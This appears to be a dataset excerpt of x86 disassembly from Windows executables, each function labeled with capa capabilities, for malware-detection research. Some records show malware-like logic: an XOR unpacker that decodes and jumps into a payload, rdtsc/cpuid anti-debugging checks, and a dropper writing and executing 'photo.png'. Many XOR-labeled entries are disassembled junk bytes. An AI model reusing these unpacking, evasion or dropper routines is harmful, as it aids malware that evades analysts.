joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001c610
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10072b58
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x10095070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x28]
add ecx, 0x38
push eax
call fcn.1000dad0
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 8
jb 0x1001c653
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x1001c697
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1001c68d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001c6c4
push edx
push ecx
call fcn.10039776
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10039765
mov esp, ebp
pop ebp
ret
call fcn.10053fe9
int3

Function at 0x10021560
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100735c0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10095070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 4], 0
cmp byte [esi + 0x18], 0
je 0x1002160c
lea eax, [ebp - 0x28]
push eax
call fcn.1000dad0
mov byte [ebp - 4], 1
cmp dword [eax + 0x14], 8
jb 0x100215b3
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x100215f8
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100215ee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002167f
push edx
push ecx
call fcn.10039776
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x2c], esi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [esi + 0x14]
cmp ecx, 8
jb 0x10021652
mov eax, dword [esi]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x10021648
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002167f
mov eax, edx
push ecx
push eax
call fcn.10039776
add esp, 8
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10039765
mov esp, ebp
pop ebp
ret
call fcn.10053fe9
int3
Function at 0x10023900
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
lea ebp, [esp - 0x20c]
sub esp, 0x20c
push 0xffffffffffffffff
push 0x10073c09
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x10095070]
xor eax, ebp
mov dword [ebp + 0x208], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea eax, [ebp]
mov dword [ebp - 0x18], esi
push eax
push 0
push 0
push 0x24
push 0
mov dword [ebp - 0x10], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
test eax, eax
je 0x10023971
xor eax, eax
mov word [esi], ax
jmp 0x1002399b
xor eax, eax
lea ecx, [ebp]
mov word [esi], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10023980
sub ecx, edx
lea eax, [ebp]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.100031d0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10039765
lea esp, [ebp + 0x20c]
pop ebp
ret

Function at 0x1003c3c9
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x10066d95
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10066a55
Function at 0x4127c6
Capabilities:
Encode data using xor

Disassembly:
out 0xe1, al
and al, 0x84
test byte [esi], bl
test byte [esi], bl
xor bl, dh
dec ebp
jnp 0x4127c3
in al, 0x42
sbb eax, 0x24e25b4f
je 0x4127ef
mov ch, 0x4b
add dl, 0x41
mov byte [esi + 0xc], bh
mov bh, 0xa
cmp dword [eax], edi
xor al, 0x14
pop ss
mov dh, 0xda
xchg ebp, eax
mov eax, dword [0x249a07a0]
xchg ebx, eax
xchg edx, eax
dec esp
pop esi
mov eax, 0x70f993e1
cdq
invalid

Function at 0x418c50
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push ebx
push 0x4c4f24
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
test eax, eax
je 0x418c6d
xor eax, eax
pop ebx
add esp, 0xc
ret
lea eax, [esp + 4]
mov ebx, 1
push eax
push ebx
push 0
push str.CLSIDEA92A799_267E_4DF5_A6ED_6A7E0684BB8AVersionIndependentProgID
push 0x80000000
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov dword [0x4c622c], eax
jne 0x418cea
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
push 0x4c4f24
push edx
push eax
mov dword [esp + 0x18], eax
push eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], 0x208
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov dword [0x4c622c], eax
jne 0x418cd2
cmp dword [esp + 8], ebx
je 0x418cd4
xor bl, bl
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x418cea
xor eax, eax
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x4c622c]
test ecx, ecx
jne 0x418d0d
test eax, eax
jle 0x418d08
and eax, 0xffff
or eax, 0x80070000
mov dword [0x4c622c], eax
mov eax, 0x80004005
pop ebx
add esp, 0xc
ret

Function at 0x424ff1
Capabilities:
Encode data using xor

Disassembly:
jecxz 0x425060
pop esp
pushal
cmp al, 0x74
add eax, 0xe6c55700
aaa
add al, 5
inc ebp
adc eax, 0x30644ccd
lsl ebx, edx
add ebx, edx
leave
mov ebx, dword [eax - 0x71df885f]
add eax, 0x6fa1399d
sbb dh, byte [esi]
mov cl, byte [edi - 0x3b3071d3]
mov gs, word [esi + 0x5360cea8]
les ecx, [esi + 0x60cea8ae]
test al, 0xce
pushal
push ebx
fdiv qword [edx]
push ebp
pop esi
sub byte [edi - 0x1f67a60], 0xf
jns 0x4250fd
dec esp
xor al, byte [edx]
imul edx, dword [0xaeb8bf54], 0xffffffb2
bound edi, qword [eax - 0x329f6e86]
pop esi
pop es
push eax
loope 0x425073
jle 0x425076
fstpnce st(4), st(0)
cmpsb byte [esi], byte es:[edi]
outsd dx, dword [esi]
sal dword [ebx], 0x96
xchg edi, eax
mov ecx, 0x3e8e3867
inc edx
lcall 0x420b, 0x2e344875
mov word [edi - 0x68], ds
test al, 0x37
pop ebp
salc
test byte [esi - 0x3b], al
sbb ebp, edx
mov ah, 0x5d
sti
cmp eax, 0xf73712c0
jmp dword [ebp + esi*4 + 0x3c]
int3
mov cl, 0x54
jae 0x4250f1
sub eax, 0xc8c0deb5
mov eax, dword [0x49fedc73]
int 0x2d
inc eax
insd dword es:[edi], dx
mov eax, 0x4d62c4d7
invalid
Function at 0x43e0cb
Capabilities:
Encode data using xor

Disassembly:
cli
xchg ebp, eax
sub byte [edx], dh
sbb ch, bl
fisub word [edi - 0x6c8c3162]
arpl word [edi + 0x12], bp
sub ebx, esp
outsd dx, dword [esi]
in eax, dx
dec ebp
push es
fdivp st(7)
sbb eax, 0x79b4ad2c
loop 0x43e0eb
pop ds
jo 0x43e0df
mov byte [esi], cl
lahf
cwde
dec esi
pop esi
outsb dx, byte [esi]
jne 0x43e14d
push edi
invalid
mov byte [0x4867cd0b], al
mov edi, 0xecd48375
xor byte [ebp - 0x194f37c8], 0xd3
xor bh, al
xor ah, al
movsb byte es:[edi], byte [esi]
out 0x12, eax
push esi
dec edx
push ebx
dec ebx
xor eax, dword [ecx]
xor ecx, dword [ecx - 5]
std
sub ebp, dword [ebx - 0x56]
in al, 0xf6
mov ch, 0x33
in al, 0x36
js 0x43e1ec
xchg ebx, eax
mov dl, 0xd0
sub dword [ebp + 0x36], esp
inc ecx
cmp eax, 0x30798ceb
cmp eax, 0x35e7d112
add bh, byte [esp + edi - 0x1b]
or byte [eax + 0x49], 0xcc
inc edi
push esp
add eax, 0xd4196002
mov dh, 0xc7
shr dword [edi - 0x6a4d98d7], 0xcf
sbb eax, 0x11dc552a
pop eax
jp 0x43e1f3
jl 0x43e157
xchg byte [esi], dl
les edi, [edx - 0x23259b2b]
push ebp
jae 0x43e1e7
stosb byte es:[edi], al
sub eax, 0x6a
xor al, al
test eax, 0x4454d596
xor byte [0xef88a19a], 0xa1
fld qword [ecx + 0x76a8d92f]
xor al, 0x7b
mov ebp, 0x41dce26f
and ebx, dword [ebp - 0x5fb787a1]
add ebp, ecx
jp 0x43e1bf
dec eax
mov al, byte [0xdd7ae903]
xchg edx, eax
xor byte [eax], al
jnp 0x43e1dc
ljmp 0xcefe:0xf5d13738
dec dh
sar dword [ebp - 0x38], 1
cmp eax, 0x1808b247
stosd dword es:[edi], eax
lcall 0x91ce, 0x289adae8
mov dl, 8
sbb byte [ebx - 0x65251766], ch
sub dh, cl
xchg ecx, eax
dec esp
mov bh, 0x46
xchg edx, eax
rcr bh, 0x9d
adc al, 0x1c
cmp eax, 0x4893e7bb
jnp 0x43e1dd
stc
invalid

Function at 0x448d20
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push str.vb_edit_control_crt_1C30A6E9_2A5B_3b1c_4846_5F81C7B85D25
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x448d64
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x448d5a
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov esi, 0x68
call fcn.00418c50
jmp 0x448d67
mov esi, dword [ebp - 4]
call fcn.00418c50
jmp 0x448d67
mov esi, dword [ebp - 4]
push edi
invalid
inc ecx

Function at 0x48a060
Capabilities:
Encode data using xor

Disassembly:
and dh, byte [esi]
or dword [ebx], ecx
les ecx, [ebx - 0x1e]
aaa
fidiv word [esi]
movsb byte es:[edi], byte [esi]
mov cs, word [edx]
dec ebp
stc
sbb bl, 0xe8
mov ebp, 0x1689ceba
jnp 0x48a07c
xor ecx, dword [esi]
popfd
xor esp, edx
add byte [ebx + 0x1a], dl
lodsd eax, dword [esi]
aaa
cld
add ch, byte [ebx + 0x13]
xchg ebx, eax
invalid
Function at 0x4bc486
Capabilities:
Encode data using xor

Disassembly:
dec ebp
bound esp, qword [edi + esi*2]
inc edx
sub al, 5
popal
and ecx, dword [ebx - 4]
sub edx, dword [ebp + 0x68]
in al, 0xb7
mov bl, 0x23
mov bh, 0x36
mov bl, 0x23
rcr dword [esi - 0x1600b7bd], cl
scasd eax, dword es:[edi]
cmpsd dword [esi], dword es:[edi]
in eax, 0x1f
mov cl, 0xd6
mov esp, dword [edi + ecx*4 - 0x1aec1e1f]
cmpsb byte [esi], byte es:[edi]
mov edx, 0xbdfa53c8
push ebx
cli
mov ebp, 0xb4d35dc0
push ebx
cli
mov ebp, 0xb4d35dc0
clc
inc esi
xor al, 0xf2
xor byte [edi + 0x57], dl
imul eax, dword ss:[edi + 0x310aad8b], 0x754cd02f
pop ebp
js 0x4bc46c
ftst
add byte [edi - 0x2c230ac3], ah
wait
jns 0x4bc45d
mov ah, byte [ebp - 0x3a]
dec bx
mov esi, 0x5166048d
cwde
dec edi
and dword [ecx - 0x4e91fcf8], esi
sub eax, 0x6d3c5ad2
xor esp, esp
mov dl, 0x2f
dec esp
dec edx
mov dword [0x6246c819], eax
ffreep st(7)
sub dword [edx + 0x3f], ecx
mov dword [0x944d3a51], eax
mov ebx, 0x8f3c0f56
jno 0x4bc51e
sbb ebp, ebp
and dword [esp + eax*8 - 2], ebp
or byte [edx - 0x5a2ffc01], al
imul edi, dword [esi + 0x19], 0x1f
arpl word [ecx + 0x67], ax
ret
movsb byte es:[edi], byte [esi]
cmpsd dword [esi], dword es:[edi]
outsb dx, byte [esi]
invalid
Function at 0x420476
Capabilities:
Encode data using xor

Disassembly:
mov dh, 0xa
fst qword [ebx - 0x19]
inc eax
test dword [ebx + ebp*4], 0xa53297d0
rol byte [edi + 0xd24f06], cl
salc
arpl bp, cx
xor ebx, dword [eax - 0x7d883840]
add ecx, dword [edi + 0x211f266]
xchg esi, edx
loopne 0x420448
invalid
ja 0x42042b
aaa
invalid
and byte [eax - 0x38ecb880], dh
aam 0x25
mov dword [0xb768c169], eax
dec esi
rcl byte [edx], 0x85
insd dword es:[edi], dx
inc eax
pop es
and cl, dh
salc
wait
dec ebp
ja 0x42046b
push edi
cmp al, byte [edi - 0x1aa80898]
aam 0x92
xchg dword [eax - 9], ebp
push edi
in eax, 0xd4
xchg edx, eax
daa
std
in al, dx
xor al, 0x42
jae 0x42044b
movsd dword es:[edi], dword [esi]
mov dh, 0x26
dec esi
inc edi
xchg edx, eax
xor ah, ah
rol byte [edx - 0x3d36d188], cl
push ss
int1
ret 0x3776
bound esp, qword [edi - 0x2c3cc79c]
lea edx, [0x7798765c]
ja 0x42041d
ja 0x42041d
test dword [ebp + 9], ebp
fcom dword [ebp - 0x2d]
ja 0x420400
stosd dword es:[edi], eax
test al, 0xac
shl dword [edx], 1
mov dword [0xa793877e], eax
cmpsd dword [esi], dword es:[edi]
xchg esi, eax
pop ebx
add al, 0x64
std
sub dword [eax + 0x68f376d0], 0x45
push ebp
add esp, dword [edi]
invalid

Function at 0x42d416
Capabilities:
Encode data using xor

Disassembly:
xchg ecx, eax
mov al, byte [0xd111fb08]
cmp ch, cl
mov al, byte [0xfae9601f]
invalid

Function at 0x45a986
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
adc al, ah
sub dword [esi - 0x473851c8], esp
popal
sahf
mov ebp, 0x22a9ae66
and al, byte [ebx]
push eax
invalid
scasb al, byte es:[edi]
test eax, 0x8b500322
and al, byte [ebx]
push eax
invalid
mov byte [0xaf2b9e88], al
ja 0x45a977
adc esi, esi
pop ebp
mov ch, 0x30
xor byte [ebp + 0x17], dh
ret 0x6255
dec esp
add ah, al
xor dword [edi], edi
pop ecx
mov eax, esi
sbb ebx, dword [esi + 0x30d06640]
aad 0xeb
mov byte [0xb0c7fa6c], al
sub dword [ebx], ebp
stosd dword es:[edi], eax
jle 0x45a9b0
sbb byte [esi + 0x51ed9ff6], dl
loop 0x45aa3e
loopne 0x45aa1c
sbb esi, dword [esi + 0x14]
adc esp, eax
mov bl, 0xac
xchg ecx, eax
dec ebx
arpl si, cx
fadd st(3), st(0)
adc edx, dword [ecx - 0x62b40da6]
mov al, 0x6c
push ds
daa
push ss
test al, 0x21
jecxz 0x45a984
push es
int1
lcall 0x286a, 0x51e88fcf
xchg ebp, eax
shr byte [eax + eax*2 + 0x4ddac317], 0x65
rcl dh, 0xad
shl dword [ecx], cl
cmpsb byte [esi], byte es:[edi]
mov dl, 0x82
pop esp
pushal
or ebp, dword [ebx]
add al, 0
test ch, dh
int3
add byte [ebp + esi*8 + 0x620603cc], al
jl 0x45aa57
cmpsd dword [esi], dword es:[edi]
cmp eax, 0x2f461409
jle 0x45a9e5
xor ebp, edx
pop ecx
rcl dword [edx + 0x6969f0f3], 0x9f
push ebp
scasb al, byte es:[edi]
push esp
mov dword [esi], 0x28ad7764
sub eax, 0xb05514d6
add dl, 0xd6
scasd eax, dword es:[edi]
inc edi
aad 0x62
cmc
out 0xff, al
push esp
outsb dx, byte [esi]
int1
cmpsb byte [esi], byte es:[edi]
mov esi, 0x6931235a
out 0xf5, eax
add edx, dword [ebp - 0x59]
mov dword [0xb2f38947], eax
adc dh, byte [esi + 0x20a38d1f]
push eax
mov ds, word [ebx - 0x3019e854]
fcmovnu st(0), st(4)
jmp 0x45aa22
Function at 0x4a94d6
Capabilities:
Encode data using xor

Disassembly:
add dword [ebx - 0x75], edi
cmpsb byte [esi], byte es:[edi]
sar dl, 1
pop ebx
test al, 0x79
mov esi, 0x981d2c1b
xor byte [ebx - 0x66], ch
in al, dx
dec edx
rcr byte [ebx + edi*4 - 4], 0x35
pop esp
mov ebx, 0x89ea35fc
or edi, dword [eax]
out dx, eax
dec ecx
dec ecx
pop esp
mov ebx, 0x89ea35fc
or edi, dword [eax]
out dx, eax
dec ecx
dec ecx
ficomp dword [edi]
sub eax, 0xea8d888b
xor bl, byte [esi]
stc
pop esp
mov bh, byte [ebp - 0x27]
cmp eax, 0xcaec1818
dec edx
sub al, 0xb3
mov esp, 0x189bfbf3
sub ch, byte [edi - 0x58b7826]
cdq
mov bl, 0xea
jnp 0x4a94c1
sar dword [edi], cl
add al, 0xaa
or byte [ebp + 0x6838f62d], 0x88
out 0x32, al
cmp ch, ch
sbb dword [ebx], edi
cli
fstp qword [ecx - 0x3b]
or eax, 0xea94ea6a
cmpsb byte [esi], byte es:[edi]
mov ebx, 0xd278dd58
mov byte [0x4a337ef6], al
or eax, 0x6a21e9a7
adc eax, 0x11c3949
push esi
and dl, byte [edx - 0x63]
push cs
ljmp 0xe98e

Function at 0x4b8e55
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c0350
cmp edx, dword [eax]
je 0x4b8e77
add eax, 8
inc ecx
cmp eax, 0x4c03e0
jl 0x4b8e68
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c0350]
jne 0x4b8fa5
mov eax, dword [0x4c4cdc]
cmp eax, 1
je 0x4b8f7f
test eax, eax
jne 0x4b8ea8
cmp dword [0x4c0278], 1
je 0x4b8f7f
cmp edx, 0xfc
je 0x4b8fa5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4b8edf
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004b9840
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004b9cd0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4b8f22
lea eax, [ebp - 0x1a4]
push eax
call fcn.004b9cd0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4be6ac
push edi
call fcn.004bbba0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004b9840
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004b9850
lea eax, [ebp - 0xa0]
push 0x4be68c
push eax
call fcn.004b9850
push dword [esi + 0x4c0354]
lea eax, [ebp - 0xa0]
push eax
call fcn.004b9850
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bbb14
add esp, 0x2c
pop edi
jmp 0x4b8fa5
lea eax, [ebp + 8]
lea esi, [esi + 0x4c0354]
push 0
push eax
push dword [esi]
call fcn.004b9cd0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x408992
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x4089a1
pop dword [ebp - 0xc]
mov eax, 0x6d72b51e
sub eax, 0x6d322b7d
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x37bb5
push 0
mov eax, 0xfde354d
sub eax, 0xf9d5475
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x4211
xor edi, edi
add edi, eax
mov esi, 0x50b72388
add esi, 0xaf8a183c
add esi, dword [ebp - 0xc]
mov ebx, 0xdaa08c3c
add dword [ebp - 8], 0xa52a1da7
mov edx, dword [esi]
xor dword [ebp - 8], eax
xor edx, ebx
mov dword [edi], edx
add edi, 0x8c4e43d9
add edi, 0x73b1bc2b
add esi, 4
loop 0x4089f6
add eax, 0xe5e2f07c
sub eax, 0xe5e1f565
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2267c47a
sub ecx, 0x2227c47a
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0xdce09c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdce0a6
pushal
call 0xdce0ac
pop ebp
sub ebp, 0x10
sub ebp, 0x9ce09c
jmp 0xdce0c2
mov eax, 0x9ce09c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b3
mov edx, 0x28b38dc9
xor byte [eax], dl
inc eax
dec ecx
jne 0xdce0d9
jmp 0xdce0ec
inc edx
add al, 0x42
inc eax
cmc
leave
leave
leave
dec eax
or byte [ecx], dh
leave
leave
leave
retf 0x7104
Function at 0x401000
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ebp, edx
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push ecx
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401028
xor eax, eax
jmp 0x401094
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [esp + 0x18]
mov dword [ebx], eax
test eax, eax
je 0x40108b
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp], eax
test eax, eax
je 0x40108b
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
test esi, esi
je 0x401071
mov ecx, dword [esp + 0x10]
cmp ecx, dword [ebx]
je 0x40108b
cmp dword [ebp], 0
je 0x401089
push dword [ebp]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x40109a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov esi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4010c2
xor eax, eax
jmp 0x4010ef
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
test esi, esi
je 0x4010e6
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp + 8]
neg ecx
sbb ecx, ecx
not ecx
and esi, ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4010f6
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 0x2c
and dword [esp + 0xc], 0
xor al, al
mov byte [esp + 6], al
mov al, byte [esp + 0xf]
mov byte [esp + 7], al
mov al, byte [esp + 0xe]
push ebx
mov byte [esp + 0xc], al
mov al, byte [esp + 0x11]
push ebp
mov byte [esp + 0x11], al
mov ebp, 0xff
mov al, byte [esp + 0x14]
push esi
push edi
mov dword [esp + 0x24], ecx
mov byte [esp + 0x1a], al
rdtsc
mov esi, eax
mov dword [esp + 0x1c], edx
xor eax, eax
lea edi, [esp + 0x28]
inc eax
xor ecx, ecx
cpuid
mov dword [edi], eax
mov eax, edi
mov dword [eax + 4], ebx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
rdtsc
sub eax, esi
sbb edx, dword [esp + 0x1c]
test edx, edx
ja 0x4011a5
jb 0x401166
cmp eax, 0xfa
jae 0x40116c
inc byte [esp + 0x1a]
jmp 0x4011a9
test edx, edx
ja 0x4011a5
jb 0x401179
cmp eax, 0x1f4
jae 0x40117f
inc byte [esp + 0x19]
jmp 0x4011a9
test edx, edx
ja 0x4011a5
jb 0x40118c
cmp eax, 0x2ee
jae 0x401192
inc byte [esp + 0x18]
jmp 0x4011a9
test edx, edx
ja 0x4011a5
jb 0x40119f
cmp eax, 0x3e8
jae 0x4011a5
inc byte [esp + 0x17]
jmp 0x4011a9
inc byte [esp + 0x16]
sub ebp, 1
jne 0x401131
push 6
pop eax
lea esi, [esp + 0x28]
xor ecx, ecx
cpuid
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
xor ecx, ecx
mov dword [esi + 0xc], edx
mov al, byte [esp + 0x28]
and al, 1
mov byte [esp + 0x1b], al
mov eax, 0x40000000
cpuid
mov dword [esi], eax
movzx eax, byte [esp + 0x16]
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
push dword [esp + 0x28]
push eax
movzx eax, byte [esp + 0x1f]
push eax
movzx eax, byte [esp + 0x24]
push eax
movzx eax, byte [esp + 0x29]
push eax
movzx eax, byte [esp + 0x2e]
push eax
movzx eax, byte [esp + 0x33]
push eax
push str._0.2X_0.2X_0.2X_0.2X_0.2X_0.2X_0.8X
push dword [esp + 0x44]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
Function at 0x4014f9
Capabilities:
Create directory
Get common file path
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
lea eax, [ebp - 0x128]
mov dword [ebp - 0xc], 0x100
push eax
xor edi, edi
push edi
push edi
push 0x1c
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test eax, eax
lea eax, [ebp - 0x128]
je 0x401536
push str.c:UsersPublic_
jmp 0x40153b
push 0x4020a8
push eax
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x128]
add eax, ecx
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push edi
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.photo.png
lea eax, [ebp - 0x128]
push eax
call esi
mov eax, 0x403008
mov dword [ebp - 0x24], 0x403000
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x248
mov dword [ebp - 0x14], eax
call fcn.0040186e
pop edi
pop esi
test eax, eax
jne 0x4015af
xor eax, eax
jmp 0x401639
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 8]
lea ecx, [ebp - 0x128]
call section..text
pop ecx
test eax, eax
je 0x4015df
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040133e
pop ecx
pop ecx
test eax, eax
jne 0x401619
lea edx, [ebp - 4]
lea ecx, [ebp - 8]
call fcn.00401224
test eax, eax
je 0x4015a8
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040133e
pop ecx
pop ecx
test eax, eax
je 0x4015a8
push dword [ebp - 4]
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x128]
call fcn.0040109a
pop ecx
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x128]
call fcn.004013eb
mov ecx, eax
test ecx, ecx
je 0x4015a8
mov eax, dword [ecx + 8]
add eax, ecx
push ecx
call eax
mov esp, ebp
pop ebp
